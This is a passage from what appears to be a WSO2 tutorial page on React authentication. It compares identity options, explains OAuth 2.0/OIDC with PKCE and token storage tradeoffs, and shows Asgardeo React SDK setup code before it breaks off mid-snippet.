<p><strong>A hosted identity service (IDaaS):</strong> A third party runs the identity provider and delivers it to you as a service. Providers such as WSO2 Identity Platform and Auth0 own the installing, the patching, the scaling, and the on-call rotation, and none of it is yours. That makes this the most straightforward of the four and by a distance the fastest to a working login, which is why so many teams start here and why it is usually the right place to start. What you give up is ownership. Identity runs on somebody else's infrastructure rather than inside yours, and you pay by usage rather than for servers, so the bill tracks how well your product is doing. It's the wrong answer when identity has to live inside your own infrastructure, whether for data residency, for a network with no route to the internet, or for a regulator who wants to know exactly where the data sits, and it's the wrong answer when usage-based pricing at your scale costs more than operating it yourself would.</p>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="decision-table-control-effort-cost-at-scale-compliance">Decision table: control, effort, cost at scale, compliance<a href="https://wso2.com/identity-platform/learn/react-authentication#decision-table-control-effort-cost-at-scale-compliance" class="hash-link" aria-label="Direct link to Decision table: control, effort, cost at scale, compliance" title="Direct link to Decision table: control, effort, cost at scale, compliance" translate="no">​</a></h3>
<table><thead><tr><th></th><th>Roll your own</th><th>Library</th><th>Self-hosted provider</th><th>IDaaS</th></tr></thead><tbody><tr><td>Control over data</td><td>Total</td><td>Total</td><td>Total</td><td>Provider's terms</td></tr><tr><td>Time to first login</td><td>Days to weeks</td><td>Days to weeks</td><td>Hours to days</td><td>Hours to days</td></tr><tr><td>Ongoing effort</td><td>Highest, forever</td><td>Low</td><td>Moderate, ops-shaped</td><td>Lowest</td></tr><tr><td>Cost shape</td><td>Staff time</td><td>Staff time</td><td>Infrastructure plus staff time</td><td>Per active user/capabilities</td></tr><tr><td>Federation and SSO</td><td>Build it</td><td>Sometimes</td><td>Yes</td><td>Yes</td></tr><tr><td>Air-gapped deployment</td><td>Possible</td><td>Possible</td><td>Yes</td><td>No</td></tr><tr><td>Standards conformance</td><td>Yours to prove</td><td>Usually</td><td>Yes</td><td>Yes</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-build-versus-buy-tipping-point">The build-versus-buy tipping point<a href="https://wso2.com/identity-platform/learn/react-authentication#the-build-versus-buy-tipping-point" class="hash-link" aria-label="Direct link to The build-versus-buy tipping point" title="Direct link to The build-versus-buy tipping point" translate="no">​</a></h3>
<p>The tipping point isn't user count, which is the metric everyone reaches for first. It's the arrival of the second requirement that isn't login. One application with email and password is a weekend. The same application plus "our enterprise customer wants SAML", plus "security wants MFA on admin accounts", plus "legal wants to know who accessed what" is a quarter of engineering time you didn't plan for, and it recurs.</p>
<p>So the useful question is not "can we build this?" It's "do we want to be maintaining an identity provider in three years?" If the honest answer is no, choose a provider now, while migrating is still cheap.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-standard-flow-authorization-code-with-pkce">The standard flow: Authorization Code with PKCE<a href="https://wso2.com/identity-platform/learn/react-authentication#the-standard-flow-authorization-code-with-pkce" class="hash-link" aria-label="Direct link to The standard flow: Authorization Code with PKCE" title="Direct link to The standard flow: Authorization Code with PKCE" translate="no">​</a></h2>
<p>Before naming the exact steps, it's worth stopping to say what OAuth 2.0 and OpenID Connect actually are, since you met their names earlier and everything below assumes you know what they cover.</p>
<p>OAuth 2.0 solves a narrow problem: how does one application get permission to act on a user's behalf against a second service, without the user ever handing that first application their password. As an example, you've used this yourself every time an app showed you a "Continue with Google" screen that then listed exactly what it wanted access to. You approve it at Google, not at the app, and Google hands the app a limited pass rather than your actual Google password. That limited pass is a token, and OAuth 2.0 is the rulebook for how an app requests one, how the user approves it, and how the app uses it afterward.</p>
<p>OpenID Connect is built directly on top of that same mechanism, and it answers a different question. OAuth 2.0 asks "can this app do this one thing for the user." OpenID Connect asks "who is this user, at all," and it answers that by adding one more thing to what comes back: a signed statement of identity, called an ID token, alongside the permission token OAuth 2.0 already provides. In other words, OAuth 2.0 gets your app permission, and OpenID Connect gets it a name to go with that permission, which is what lets it show a name instead of letting an anonymous visitor through.</p>
<p>Both standards describe their exchange as a flow, a fixed, numbered sequence of redirects and requests that your app, the browser, and the identity provider all follow in the same order. The word sounds abstract, but the reason it exists is concrete. If every login service invented its own redirect sequence, no two of them could be trusted the same way, and no library could support more than one. A shared flow is what lets any React app talk to any conformant identity provider using the same steps.</p>
<p>For a React single-page app, one flow is correct: the OAuth 2.0 authorization code flow with PKCE, defined in the <a href="https://datatracker.ietf.org/doc/html/rfc6749" target="_blank" rel="noopener noreferrer" class="">OAuth2 core standard (RFC 6749)</a> and extended for public clients like yours by <a href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener noreferrer" class="">Proof Key for Code Exchange by OAuth Public Clients standard - PKCE (RFC 7636)</a>. It's the same base flow that OpenID Connect layers identity on top of, so OAuth and OIDC describe the same exchange here.</p>
<p>Stripped down, that base flow is two redirects and one direct request. Your app sends the browser to the identity provider's sign-in page. The user proves who they are there. The identity provider sends the browser back to your app carrying a short-lived voucher, called an authorization code, rather than the actual tokens. Your app then contacts the identity provider a second time, directly rather than through the browser, hands over that code, and gets the real tokens back in exchange. A browser hop, then a direct request: that is the whole shape of it, and it is what "authorization code flow" refers to.</p>
<p><img decoding="async" loading="lazy" alt="Sequence diagram showing how the OAuth 2.0 Authorization Code Grant flow works in a React application when implementing user login." src="https://wso2.com/identity-platform/learn/assets/images/auth-code-flow-simple-b49d10a9864759763a16185e4099b1bd.png" width="2800" height="2400" class="img_ev3q"></p>
<p>PKCE is what gets added to that shape for an application like yours that cannot hold a secret. At a high level, it replaces the password or client secret a server-side app would use with something your React app can safely generate on the spot: a value only it knows, and proof that it knows that value, checked by the identity provider before it hands over any tokens, which is what makes the flow above safe to run entirely in a browser.</p>
<p><img decoding="async" loading="lazy" alt="Sequence diagram showing how the OAuth 2.0 Authorization Code Grant with PKCE flow works in a React application when implementing user login." src="https://wso2.com/identity-platform/learn/assets/images/pkce-auth-code-flow-a2157e045a4415e43823b039ec228881.png" width="3200" height="4000" class="img_ev3q"></p>
<p>The exact step-by-step mechanics of this exchange, including why the proof travels over two separate channels, get their own walkthrough in a future post in this series, "OAuth 2.0 and OIDC in React: The Authorization Code Flow with PKCE, Explained." What matters here is that this is the one flow to use, and the two sections below cover the two mistakes that actually happen in practice.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-the-implicit-flow-is-gone">Why the implicit flow is gone<a href="https://wso2.com/identity-platform/learn/react-authentication#why-the-implicit-flow-is-gone" class="hash-link" aria-label="Direct link to Why the implicit flow is gone" title="Direct link to Why the implicit flow is gone" translate="no">​</a></h3>
<p>Older tutorials use the implicit flow from OAuth 2.0, where the authorization server returns an access token directly in the redirect, in one step, skipping the two-step exchange described above. <a href="https://datatracker.ietf.org/doc/html/rfc9700" target="_blank" rel="noopener noreferrer" class="">Best Current Practice for OAuth 2.0 Security (RFC 9700)</a>, published in January 2025 as the current security best practice for OAuth 2.0, is direct about it. Response types that issue access tokens in the authorization response "are vulnerable to access token leakage and access token replay," and clients "SHOULD NOT use the implicit grant ... unless access token injection in the authorization response is prevented and the aforementioned token leakage vectors are mitigated." In a browser you are not going to meet that exception, so read it as no.</p>
<p>The same document sets the floor for browser apps in one line: "Public clients MUST use PKCE," and "Authorization servers MUST support PKCE." A React app is a public client, so that MUST is yours. If a guide doesn't mention PKCE, it predates the requirement, whatever its publication date says.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-pkce-actually-protects-against">What PKCE actually protects against<a href="https://wso2.com/identity-platform/learn/react-authentication#what-pkce-actually-protects-against" class="hash-link" aria-label="Direct link to What PKCE actually protects against" title="Direct link to What PKCE actually protects against" translate="no">​</a></h3>
<p>PKCE has one job, and it isn't the one most developers assume. It doesn't protect the token, it protects the code. Where it came from matters here, because the reason a browser app needs it is not the reason it was invented.</p>
<p><a href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener noreferrer" class="">PKCE</a> standard was originally written for native and mobile apps, where a malicious app on the same device can register the same custom URI scheme and grab the code out of the redirect. PKCE standard is explicit that the browser's own redirect is TLS-protected and "cannot be intercepted." For a React app the threat PKCE closes is the one RFC 9700 names: authorization code injection, where an attacker feeds your app a code obtained somewhere else and lets your app redeem it. Without PKCE your app has no way to tell that the code it's exchanging is the code it asked for, which is why PKCE is a MUST for public clients rather than a native-app nicety.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-tokens-live-and-why-localstorage-is-usually-wrong">Where tokens live, and why localStorage is usually wrong<a href="https://wso2.com/identity-platform/learn/react-authentication#where-tokens-live-and-why-localstorage-is-usually-wrong" class="hash-link" aria-label="Direct link to Where tokens live, and why localStorage is usually wrong" title="Direct link to Where tokens live, and why localStorage is usually wrong" translate="no">​</a></h2>
<p>Access tokens are usually JWTs, and where to store JWTs in the browser is the most argued question in React authentication. Every option trades persistence against blast radius. localStorage persists across browser sessions, so it survives a closed browser entirely. sessionStorage lasts for the page session and clears when the tab closes. A web worker isolates tokens from the DOM, which makes it the most defensible of the three.</p>
<p>The short version: anything readable by JavaScript on your page is readable by injected JavaScript on your page. A React localStorage token is convenient and survives a refresh, and it's also the first place a cross-site scripting payload looks. That's not an argument for never using it, it's an argument for knowing what you accepted.</p>
<p>Stop at the first question you can answer yes to. Every step down the staircase costs you something.</p>
<table><thead><tr><th>Storage</th><th>Survives refresh</th><th>Exposure to XSS</th><th>Reasonable when</th></tr></thead><tbody><tr><td>In-memory variable</td><td>No</td><td>Yes, while the tab is open</td><td>Paired with a rotated refresh token</td></tr><tr><td>Web worker</td><td>No</td><td>Isolated from the DOM</td><td>You can add the worker plumbing</td></tr><tr><td>httpOnly cookie</td><td>Yes</td><td>Not readable, still usable</td><td>You have a backend to set it</td></tr><tr><td>sessionStorage</td><td>Yes, in that tab</td><td>Yes</td><td>Short sessions, lower risk apps</td></tr><tr><td>localStorage</td><td>Yes</td><td>Yes</td><td>Convenience outweighs the exposure</td></tr></tbody></table>
<p>No row in that table says "safe from XSS," and httpOnly is the row people misread. It stops a payload from reading the cookie, but not from making requests the browser attaches the cookie to, so the attacker still gets every authenticated action the user has without ever seeing the credential. The same caveat applies to the worker, since injected code in the main thread can ask the worker to make the call. Storage choice bounds what an attacker walks away with. It doesn't stop them acting as the user while the page is open.</p>
<p>One architecture is missing from that table because it removes the question rather than answering it. If your React app is served alongside a backend, the backend can hold the tokens and expose the session to the browser as an httpOnly cookie, which is the backend-for-frontend pattern. The IETF's browser-based-apps draft "strongly recommend[s]" it "for business applications, sensitive applications, and applications that handle personal data." It costs you a server. It buys you a browser that never holds a token at all.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="connecting-your-react-app-to-an-identity-provider">Connecting your React app to an identity provider<a href="https://wso2.com/identity-platform/learn/react-authentication#connecting-your-react-app-to-an-identity-provider" class="hash-link" aria-label="Direct link to Connecting your React app to an identity provider" title="Direct link to Connecting your React app to an identity provider" translate="no">​</a></h2>
<p>Everything so far has been about picking a provider. This section is about the seam between that provider and your code, and there are three distinct ways to build it. They are not three products. They are three levels of abstraction over the same OpenID Connect exchange, and the level you pick decides how much of that exchange stays your responsibility.</p>
<p>One thing to hold on to before the details, because it is what makes this choice low risk: all three speak the same protocol to the same identity provider. Moving between levels later means rewriting your integration code, not re-architecting your identity.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-1-wire-it-at-the-protocol-level">Level 1: Wire it at the protocol level<a href="https://wso2.com/identity-platform/learn/react-authentication#level-1-wire-it-at-the-protocol-level" class="hash-link" aria-label="Direct link to Level 1: Wire it at the protocol level" title="Direct link to Level 1: Wire it at the protocol level" translate="no">​</a></h3>
<p>You implement the OpenID Connect flow yourself. The dependency list is short, an OAuth 2.0 or OpenID Connect client library and something to parse and validate JSON web tokens, and past that the code is yours.</p>
<p>This is the minimalist option in dependency terms and the maximalist one in every other sense. You write the redirect to the authorization endpoint, the handling of the code that comes back, the exchange at the token endpoint, and the validation of what you receive. Then you own the part that outlasts the initial build: deciding where tokens live, noticing when an access token is about to expire, refreshing it without stranding in-flight requests, and clearing everything correctly on sign-out.</p>
<p>In practice, the cost is time, code you have to maintain, and a specific expertise your team has to keep. What you get back is that nothing is hidden from you and nothing ties you to one vendor's package. AI code generation can take some of that burden off you, but the expertise gap remains, because someone still has to know whether the generated code is right.</p>
<p><strong>Pick this when</strong> you need to work against arbitrary OIDC providers rather than one, when a security review requires reading every line in the authentication path, or when no usable SDK exists for your provider. <strong>Avoid it when</strong> nobody on the team has implemented OIDC before, because the failure modes here are quiet ones that look like working software.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-2-a-headless-react-sdk">Level 2: A headless React SDK<a href="https://wso2.com/identity-platform/learn/react-authentication#level-2-a-headless-react-sdk" class="hash-link" aria-label="Direct link to Level 2: A headless React SDK" title="Direct link to Level 2: A headless React SDK" translate="no">​</a></h3>
<p>A vendor-provided or community React SDK that handles the protocol and leaves the interface to you. "Headless" is already the word React developers use for a library that ships behavior without markup, and it fits this exactly.</p>
<p>At this level the OIDC flow, token storage, and the token lifecycle all stop being yours. The SDK exposes hooks and utility functions you call from your own event handlers: something to start sign-in, something to sign out, and state telling you whether a user is signed in and who they are. Expiry and refresh happen underneath, and where the provider rotates refresh tokens the SDK absorbs that too, without your components ever knowing it happened.</p>
<p>What stays yours is every pixel. There are no components in the box, so the sign-in button, the profile panel, the loading state, and the error handling are all things you design and build.</p>
<p><strong>Pick this when</strong> you have a design system that authentication has to live inside, or when the sign-in experience is part of your product rather than a doorway in front of it. <strong>Avoid it when</strong> what you would build is the ordinary set of components anyway, because then you are hand-making what the next level hands you.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-3-a-react-sdk-with-drop-in-components">Level 3: A React SDK with drop-in components<a href="https://wso2.com/identity-platform/learn/react-authentication#level-3-a-react-sdk-with-drop-in-components" class="hash-link" aria-label="Direct link to Level 3: A React SDK with drop-in components" title="Direct link to Level 3: A React SDK with drop-in components" translate="no">​</a></h3>
<p>The highest level of abstraction, and the least common of the three. Alongside the hooks, this kind of SDK ships finished React components: a sign-in component, a sign-out component, a user profile component, often named something like <code>&lt;SignIn /&gt;</code>, <code>&lt;SignOut /&gt;</code>, and <code>&lt;UserProfile /&gt;</code>, styled and working the moment you place them in your tree. Configure your identity provider details once, drop the components where you want them, and you have a working authenticated application.</p>
<p>Styling is not the trade it sounds like, because these components are built to be restyled with your own stylesheet, so ready-made does not mean stuck with someone else's design. The real trade sits elsewhere. Your JSX now contains a vendor's component names, which is the tightest coupling of the three levels.</p>
<p>Two things stop that from becoming a trap. Anything the components do not expose can usually be reached by extending them, and the hooks from level two are still there underneath, so a single screen that needs full control can drop a level without the rest of your application following it.</p>
<p><strong>Pick this when</strong> you want a working authenticated application in days rather than weeks, which is most of the time. <strong>Avoid it when</strong> you already know your requirements exceed what the components expose, because you will end up at level two having paid for the detour.</p>
<p>Comparing the three levels:</p>
<table><thead><tr><th></th><th>Level 1: Protocol</th><th>Level 2: Headless SDK</th><th>Level 3: Drop-in components</th></tr></thead><tbody><tr><td>What you install</td><td>An OIDC client library, plus a JWT library</td><td>The provider's React SDK</td><td>The provider's React SDK</td></tr><tr><td>Who implements the OIDC flow</td><td>You</td><td>The SDK</td><td>The SDK</td></tr><tr><td>Who stores and refreshes tokens</td><td>You</td><td>The SDK</td><td>The SDK</td></tr><tr><td>Who builds the sign-in interface</td><td>You</td><td>You</td><td>The SDK, restyled by you</td></tr><tr><td>What you actually write</td><td>The flow, the token layer, and the interface</td><td>The interface</td><td>Configuration</td></tr><tr><td>Knowledge required</td><td>OAuth 2.0 and OIDC in depth</td><td>The SDK's API</td><td>The SDK's API</td></tr><tr><td>Time to a working sign-in</td><td>Weeks</td><td>Days</td><td>Hours</td></tr><tr><td>Coupling to one vendor</td><td>Lowest</td><td>Higher</td><td>Highest</td></tr><tr><td>If you outgrow it</td><td>Nothing to outgrow</td><td>Drop to level one</td><td>Drop to level two</td></tr></tbody></table>
<p>The pattern in that table is worth saying out loud. Moving up a level never buys you a different protocol. It buys you fewer things you are responsible for, and it charges you in coupling. That is the whole trade, and it is why the escape hatch in the last row matters more than the time saving in the row above it.</p>
<p>The rest of this guide works at level three and drops to level two wherever a section needs the raw state.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="wiring-it-up-with-wso2-react-sdk">Wiring it up with WSO2 React SDK<a href="https://wso2.com/identity-platform/learn/react-authentication#wiring-it-up-with-wso2-react-sdk" class="hash-link" aria-label="Direct link to Wiring it up with WSO2 React SDK" title="Direct link to Wiring it up with WSO2 React SDK" translate="no">​</a></h2>
<p>Now the code, because authentication in React JS ultimately comes down to a provider, a couple of hooks, and a redirect you have to respect. WSO2 Identity Platform publishes the Asgardeo React SDK under the @asgardeo npm scope, licensed Apache-2.0.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="install-and-configure-react-sdk">Install and configure React SDK<a href="https://wso2.com/identity-platform/learn/react-authentication#install-and-configure-react-sdk" class="hash-link" aria-label="Direct link to Install and configure React SDK" title="Direct link to Install and configure React SDK" translate="no">​</a></h3>
<p>The shape is a provider near the root of the tree holding configuration and session state, and two ways to read it. There are drop-in components for the common cases, and a hook when you want the state directly. The following commands show how to scaffold a React application and install the WSO2 React SDK.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">npm create vite@latest wso2-react -- --template react</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">npm install @asgardeo/react</span><br></span></code></pre></div></div>
<p>The React SDK provides the components and hooks required to integrate WSO2 Identity Platform into your application. Now that you have installed the React SDK in your project, the next step is to connect your React application to WSO2 Identity Platform by configuring the <code>&lt;AsgardeoProvider /&gt;</code>.</p>
<p>The <code>&lt;AsgardeoProvider /&gt;</code> acts as the context provider for the React SDK. To integrate it, wrap your root component in the main.jsx file with <code>&lt;AsgardeoProvider /&gt;</code>, as shown in the following code segment.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> </span><span class="token imports maybe-class-name">StrictMode</span><span class="token imports"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> createRoot </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'react-dom/client'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'./index.css'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">App</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'./App.jsx'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> </span><span class="token imports maybe-class-name">AsgardeoProvider</span><span class="token imports"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'@asgardeo/react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">createRoot</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token dom variable" style="color:rgb(201, 103, 101)">document</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">getElementById</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">'root'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">render</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">StrictMode</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AsgardeoProvider</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">      </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">clientId</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">your-app-client-id</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">      </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">baseUrl</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">https://api.asgardeo.io/t/your-organization-name</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">App</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AsgardeoProvider</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">StrictMode</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><br></span></code></pre></div></div>
<p>Two things to get right here rather than later. Redirect URLs must match what you registered on the application exactly, including trailing slashes, because a mismatch fails at the authorization server with an error that reads like a configuration bug somewhere else. And the scopes you request determine which claims come back, so if a username renders as undefined the fix is usually a missing scope, not a missing hook.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="sign-in-sign-out-and-reading-the-user">Sign in, sign out, and reading the user<a href="https://wso2.com/identity-platform/learn/react-authentication#sign-in-sign-out-and-reading-the-user" class="hash-link" aria-label="Direct link to Sign in, sign out, and reading the user" title="Direct link to Sign in, sign out, and reading the user" translate="no">​</a></h3>
<p>Now, let's use the drop-in components provided by the WSO2 Identity Platform React SDK to add login and logout functionality. Simply replace the contents of your <code>App.jsx</code> file with the following code:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> </span><span class="token imports maybe-class-name">SignedIn</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> </span><span class="token imports maybe-class-name">SignedOut</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> </span><span class="token imports maybe-class-name">SignInButton</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> </span><span class="token imports maybe-class-name">SignOutButton</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> </span><span class="token imports maybe-class-name">UserProfile</span><span class="token imports"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'@asgardeo/react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'./App.css'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">App</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">header</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedIn</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignOutButton</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedIn</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedOut</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignInButton</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" 